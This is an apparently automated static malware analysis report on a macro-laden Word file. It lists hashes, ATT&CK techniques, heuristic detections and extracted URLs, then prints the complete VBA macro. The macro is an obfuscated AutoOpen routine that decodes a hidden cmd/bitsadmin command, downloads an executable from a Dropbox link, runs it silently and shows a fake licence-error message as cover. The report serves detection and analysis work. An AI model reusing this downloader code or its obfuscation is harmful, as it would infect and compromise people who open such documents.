Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 880b352d1186a1c3…

MALICIOUS

Office (OLE)

109.0 KB Created: 2017-05-09 08:23:00 First seen: 2018-01-23
MD5: 1dfa6c28e296b4196f92c8b97e050754 SHA-1: b8c701c3a0059820ee60111aa3cc6add2dbc33d0 SHA-256: 880b352d1186a1c33d73a42907ee9b9902363c2358fe9f0c540c776602093772
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a VBA macro with an AutoOpen function that uses the Shell() command to execute a payload. The document body displays a lure instructing the user to enable macros and editing, a common tactic for macro-based malware. The obfuscated string within the AutoOpen macro likely decodes to a command to download and execute a second-stage payload.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/rights/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2529 bytes
SHA-256: 335d327873a66afff81759717c5d3b1522765d8be7011b86d2b0270f563bf2e4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Dim OGADJTPBNNVIKR As String
    Dim FMBVJVBB As String
    OGADJTPBNNVIKR = OGADJTPBNNVIKR & VRUOAIRHKHHTMF("fpg1h{h 2f %zdlw") & VRUOAIRHKHHTMF("iru 2w 8 \NHUT ) elw") & VRUOAIRHKHHTMF("vdgplq 2wudqvihu ") & VRUOAIRHKHHTMF("X") & VRUOAIRHKHHTMF("NHI ") & VRUOAIRHKHHTMF("2grzqord") & VRUOAIRHKHHTMF("g 2sulrulw| qrupdo kwwsv=22zz") & VRUOAIRHKHHTMF("z1gurser{1frp2v2:e<66")
    OGADJTPBNNVIKR = OGADJTPBNNVIKR & VRUOAIRHKHHTMF("5u9yplxk{o24") & VRUOAIRHKHHTMF("thv|r}dqdqul") & VRUOAIRHKHHTMF("yr{l") & VRUOAIRHKHHTMF("w|ri1h{hBgo@4 (dssgdwd(_lxr") & VRUOAIRHKHHTMF("ogz1h{h )vwduw (dssgdwd(_lxro") & VRUOAIRHKHHTMF("gz1h{h%")

    FMBVJVBB = FMBVJVBB & VRUOAIRHKHHTMF("Huuru 4<;:7= \rx p") & VRUOAIRHKHHTMF("xvw kdyh Riilfh Surihvvl") & VRUOAIRHKHHTMF("rqdo Hglwlrq wr uhdg") & VRUOAIRHKHHTMF(" wklv frq") & VRUOAIRHKHHTMF("whqw/ sohdvh x") & VRUOAIRHKHHTMF("sjudgh |rxu o") & VRUOAIRHKHHTMF("lfhqfh1 Ylvlw z") & VRUOAIRHKHHTMF("zz1plfurvriw1frp ir")
    FMBVJVBB = FMBVJVBB & VRUOAIRHKHHTMF("u kho") & VRUOAIRHKHHTMF("s")
    
    Shell OGADJTPBNNVIKR, vbHide
    MsgBox FMBVJVBB
End Sub
Private Function KDFNHXYJY(ByVal ZXUXMWSDNWUXFKZROLAKXAXFS As String, ByVal UIZLJHCZYXCKDO As Long) As String
    Dim NIFULPKBRS As Long
    NIFULPKBRS = Len(ZXUXMWSDNWUXFKZROLAKXAXFS)
    Dim KSTUELH As String
    Dim ELNWJPYGEKSJKWJXKKAAHOPC As Long
    Dim RZTNAMICZ As Long
    Dim WTBWUKRWBTLKFVPIDGVYKDKCX() As Long
    ReDim WTBWUKRWBTLKFVPIDGVYKDKCX(1 To NIFULPKBRS)
    For RZTNAMICZ = 1 To NIFULPKBRS
        ELNWJPYGEKSJKWJXKKAAHOPC = Asc(Mid(ZXUXMWSDNWUXFKZROLAKXAXFS, RZTNAMICZ, 1))
        If ELNWJPYGEKSJKWJXKKAAHOPC = 32 Then
            WTBWUKRWBTLKFVPIDGVYKDKCX(RZTNAMICZ) = ELNWJPYGEKSJKWJXKKAAHOPC
        Else:
            ELNWJPYGEKSJKWJXKKAAHOPC = ELNWJPYGEKSJKWJXKKAAHOPC - UIZLJHCZYXCKDO
            WTBWUKRWBTLKFVPIDGVYKDKCX(RZTNAMICZ) = ELNWJPYGEKSJKWJXKKAAHOPC
        End If
        KSTUELH = KSTUELH & Chr(WTBWUKRWBTLKFVPIDGVYKDKCX(RZTNAMICZ))
    Next
    KDFNHXYJY = KSTUELH
End Function
Private Function VRUOAIRHKHHTMF(IKJKBSKNJNPOGLRADOUVBMSFL As String)
  VRUOAIRHKHHTMF = KDFNHXYJY(IKJKBSKNJNPOGLRADOUVBMSFL, 3)
End Function

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